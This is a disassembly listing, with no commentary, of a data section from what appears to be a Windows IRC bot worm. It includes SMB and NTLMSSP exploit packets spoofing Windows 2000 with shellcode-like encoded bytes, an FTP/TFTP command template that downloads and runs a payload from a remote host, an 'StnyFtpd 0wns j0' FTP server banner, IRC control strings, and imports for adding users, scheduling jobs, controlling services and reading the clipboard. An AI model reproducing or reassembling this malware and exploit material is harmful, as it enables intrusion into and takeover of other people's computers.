322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_41A290 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+2BEo dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_41A348 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_402972+2D8o dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0A3h db 9Eh ; db 5Eh, 9Bh, 4 db 57h ; W db 0E3h, 15h, 0B7h db 6Fh ; o db 44h, 0E9h, 1Eh db 49h ; I db 0FEh, 0C0h, 0BEh db 0E9h ; db 0A6h, 0A7h, 7Fh aPmiw db 'pmiW',0 aO_0 db 'O',0 aR_0 db 'R',0 aK_0 db 'K',0 aS_1 db 'S',0 dd offset loc_410051+3 dd offset dword_490054 db 4Fh, 0, 4Eh db 0 db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 10h dword_41A440 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+2EFo dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) db 0 db 2 dup(0), 40h db 0 db 2 dup(0), 25h db 0 db 2 dup(0), 57h aIndows200021_1 db 'indows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 4 dword_41A4A8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+306o dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41A4E8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+31Do dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_41A550 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+337o dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_41A5E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+351o ; sub_402972+3E0o dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0F2001F00h, 1F2207Ch, 0 dd 1000000h, 0 dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0 dword_41A748 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+36Bo ; sub_402972+3FAo dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h dd 0 dword_41A8A8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+385o ; sub_402972+414o dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h dd 0 dword_41AA08 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+39Fo ; sub_402972+42Eo dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h dd 0 dword_41AB68 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_402972+3B9o ; sub_402972+448o dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd 680000h, 0 dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2 dd 0BE895Bh, 20000h, 0 dd 20000h, 2EB0000h, 760000h, 2 dup(0) dword_41AC38 dd 0A0D7325h, 0 ; DATA XREF: sub_402E09+100o ; sub_406BAB+28B8o aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_402E09+BCo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402E09+95o aAdminS__RootSe db 'Admin (%s) .. Root searching %s',0 ; DATA XREF: .nsp0:00402FC6o align 4 aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_4030CD+35o aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_4030CD+10o align 10h a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_403145+63o align 4 dword_41AD24 dd 78h ; DATA XREF: sub_40322D+Ar dword_41AD28 dd 80000002h ; DATA XREF: sub_4031BC+24r off_41AD2C dd offset aSoftwareMicros ; DATA XREF: sub_4031BC+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 41C23Ch, 80000001h, 41C274h dword_41AD40 dd 6272h ; DATA XREF: sub_40327E+Bo ; sub_404475+24o ... unk_41AD44 db 1Fh ; DATA XREF: sub_4032EE+480o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_41AD74 db 1Fh ; DATA XREF: sub_4032EE+472o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 align 10h unk_41ADB0 db 1Fh ; DATA XREF: sub_4032EE+3B6o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_41ADF4 dd 264021Fh, 6E776F1Fh, 64616F6Ch, 2BB0220h, 704F20BBh ; DATA XREF: sub_4032EE+34Do dd 64656E65h, 7325203Ah, 2Eh aOpen db 'open',0 ; DATA XREF: sub_4032EE+32Bo ; sub_406BAB+1216o ... align 4 unk_41AE1C db 1Fh ; DATA XREF: sub_4032EE+2D6o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_41AE58 db 1Fh ; DATA XREF: sub_4032EE+257o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_41AE84 db 1Fh ; DATA XREF: sub_4032EE+1CDo db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_41AEBC db 1Fh ; DATA XREF: sub_4032EE:loc_403486o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 10h unk_41AEF0 db 1Fh ; DATA XREF: sub_4032EE+191o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 unk_41AF28 db 1Fh ; DATA XREF: sub_4032EE+77o db 2, 64h, 2 db 1Fh db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 20h db 2, 0BBh, 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_403882:loc_4038C5o aInvalid db 'Invalid',0 ; DATA XREF: sub_403882:loc_4038BFo aDisk db 'Disk',0 ; DATA XREF: sub_403882:loc_4038B9o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_403882:loc_4038B3o aCdrom db 'Cdrom',0 ; DATA XREF: sub_403882:loc_4038ADo align 4 aRam db 'RAM',0 ; DATA XREF: sub_403882:loc_4038A7o word_41AF80 dw 3Fh ; DATA XREF: sub_403882+1Fo ; sub_40A1F9:loc_40A2FBr align 4 aFailed db 'failed',0 ; DATA XREF: sub_403913:loc_4039EBo ; sub_403A2E+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_403913+6Bo align 4 unk_41AF94 db 1Fh ; DATA XREF: sub_403A2E+8Eo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_41AFD4 db 1Fh ; DATA XREF: sub_403A2E+58o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_1 db 'A:\',0 ; DATA XREF: sub_403B00:loc_403B45o dword_41B018 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403CA3+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B064 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_403CA3+E3o ; --------------------------------------------------------------------------- loc_41B080: ; DATA XREF: sub_403CA3+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_41B094 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_403CA3+13Fo a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403E11+5B1o aQuit db 'QUIT',0 ; DATA XREF: sub_403E11+59Do ; sub_406BAB+4F5o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_403E11+590o align 10h unk_41B0F0 db 1Fh ; DATA XREF: sub_403E11+545o db 5Bh, 1Fh, 2 db 52h ; R db 2 dup(4Fh), 54h db 45h ; E db 44h, 2, 1Fh db 5Dh ; ] db 1Fh, 20h, 0BBh aFtpFinishedSDR db ' ftp finished: %s:%d running %s',0 align 4 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403E11+526o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_403E11+4FAo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_403E11+4E2o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403E11+4D2o align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403E11+4C1o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403E11+48Eo align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403E11+44Ao db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_403E11+411o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403E11+3E3o align 4 aList db 'LIST',0 ; DATA XREF: sub_403E11+3D0o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_403E11+395o align 10h aPasv db 'PASV',0 ; DATA XREF: sub_403E11+382o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403E11+372o aI: ; DATA XREF: sub_403E11+35Eo unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403E11+337o aA: ; DATA XREF: sub_403E11+323o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_403E11+30Co ; sub_403E11+347o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403E11+2FCo align 10h off_41B280 dd offset dword_445750 ; DATA XREF: sub_403E11+2E8o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403E11+2D8o align 4 aRest db 'REST',0 ; DATA XREF: sub_403E11+2C4o align 10h a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403E11+2B4o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_403E11+2A0o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403E11+290o align 10h aPass db 'PASS',0 ; DATA XREF: sub_403E11+27Co align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403E11+26Co align 10h aUser db 'USER',0 ; DATA XREF: sub_403E11+257o ; .nsp0:0041C36Co ... align 4 aSS db '%s %s',0 ; DATA XREF: sub_403E11+246o align 10h a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403E11+1C8o align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404555+58o aS_0 db '%s',0 ; DATA XREF: sub_404555+3Bo ; sub_405EC4+19o align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_404555+16o ; sub_406BAB+5D3o aNotice db 'NOTICE',0 ; DATA XREF: sub_404555+Fo ; sub_406BAB+5DFo align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4045F0+B3Co align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4045F0+B2Fo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4045F0+B22o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4045F0+B15o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4045F0+B08o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4045F0+B00o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4045F0:loc_4050DFo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4045F0+ABEo align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4045F0+AB6o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4045F0:loc_405095o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4045F0+A64o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4045F0+A57o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4045F0+A4Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4045F0+A42o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4045F0:loc_405021o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4045F0+A00o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4045F0+9F8o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4045F0:loc_404FD7o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4045F0+9B6o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4045F0+9AEo align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4045F0:loc_404F8Do align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4045F0+924o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4045F0+917o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4045F0+90Ao aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4045F0+8FDo align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4045F0+8F0o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4045F0+8E3o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4045F0+8D6o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4045F0+8C9o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4045F0+8BCo align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4045F0+8AFo aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4045F0+8A7o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4045F0:loc_404E82o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4045F0+84Do align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4045F0+7DBo aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4045F0+7CEo align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4045F0+7C1o align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4045F0+7B4o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4045F0+7A7o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4045F0+79Ao align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4045F0+78Do align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4045F0+780o align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4045F0+773o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4045F0+76Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4045F0:loc_404D46o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4045F0+62Co aGetpeername db 'getpeername',0 ; DATA XREF: sub_4045F0+61Fo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4045F0+612o align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4045F0+605o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4045F0+5F8o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4045F0+5EBo aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4045F0+5DEo align 10h aAccept db 'accept',0 ; DATA XREF: sub_4045F0+5D1o align 4 aListen db 'listen',0 ; DATA XREF: sub_4045F0+5C4o align 10h aSelect db 'select',0 ; DATA XREF: sub_4045F0+5B7o align 4 aBind db 'bind',0 ; DATA XREF: sub_4045F0+5AFo align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4045F0+59Do align 4 aRecv db 'recv',0 ; DATA XREF: sub_4045F0+590o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4045F0+583o align 4 aSend db 'send',0 ; DATA XREF: sub_4045F0+576o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4045F0+569o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4045F0+55Co align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4045F0+54Fo align 4 aHtons db 'htons',0 ; DATA XREF: sub_4045F0+542o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4045F0+535o align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4045F0+528o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4045F0+51Bo aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4045F0+50Eo aSocket db 'socket',0 ; DATA XREF: sub_4045F0+501o align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4045F0+4F4o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4045F0+4E7o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4045F0+4DAo align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4045F0+4CDo align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4045F0+4C0o align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4045F0+4B3o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4045F0+4ABo align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4045F0:loc_404A86o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4045F0+429o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4045F0+41Co align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_4045F0+40Fo align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4045F0+402o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4045F0+3F5o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4045F0+3E8o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4045F0+3DBo align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4045F0+3CEo align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4045F0+3C6o align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4045F0:loc_4049A5o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4045F0:loc_40497Do align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4045F0+335o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4045F0+328o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4045F0+31Bo align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4045F0+30Eo align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_4045F0+301o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4045F0+2F4o align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4045F0+2E7o align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4045F0:loc_4048CFo align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4045F0+2AFo align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4045F0+2A2o align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4045F0:loc_40488Ao align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4045F0+252o aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4045F0+245o aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4045F0+238o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4045F0+22Bo align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4045F0+21Eo aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4045F0+216o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4045F0:loc_4047F5o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4045F0+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4045F0+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4045F0+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4045F0+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4045F0+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4045F0+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4045F0+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4045F0+14Ao align 10h aUser32_dll db 'user32.dll',0 